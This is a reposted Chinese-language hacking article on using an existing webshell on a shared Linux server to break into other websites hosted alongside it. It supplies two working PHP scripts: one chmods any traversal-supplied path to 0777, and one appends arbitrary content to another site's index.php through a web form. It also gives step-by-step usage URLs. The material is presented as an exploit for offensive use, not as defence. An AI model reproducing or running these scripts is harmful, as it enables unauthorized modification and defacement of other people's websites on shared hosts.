linux下用webshell对文件权限的修[网络技术]
本文“linux下用webshell对文件权限的修[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
当我们拥有了一个linux下的shell(服务器上多个网站).
这个shell对所在站点的根目录有可写入权限,乃至能查看其他网站的目录.
那么,这样的主机设置必定是不安全的.
有的时刻,我们想对得到同服务器的其他站的权限,比方直接对其他站点的index.php举行改正,却发现没有权限.
我们可以尝试通过以下脚本来实现对其他站点的文件增添权限.
代码:
<?php
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo " CHMOD OK , Permission editable file or directory. Permission to write";
?>
保存为chmod.PHP
利用办法简单,拜候
http://site/chmod.php?path=../../其他站点的目录/index.php
这里的index.PHP是要改正权限的文件.
别的一个exploit:
把下面的代码保存为exploit.PHP
代码:
<?php
@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen("{$_POST['filename']}", 'a');
@fputs($fp,"$mess <hr size=\"1\" color=\"black\">");
@fclose($fp);
?>
<form name="form1" action="exploit.php" method="post">
<p align="center"><b>
<br>
CODE :<br>
<textarea name="mess" rows="3"></textarea></font></b></textarea>
</font></b> <p><input type="hidden" name="filename" value="../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php"></p>
<center>
<input type="reset" name="Submit" value="Delete">
<input name="go" type="submit" value="Send" onClick="javascript:this.style.visibility ='hidden';">
<center>
</form>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>
以上是“linux下用webshell对文件权限的修[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |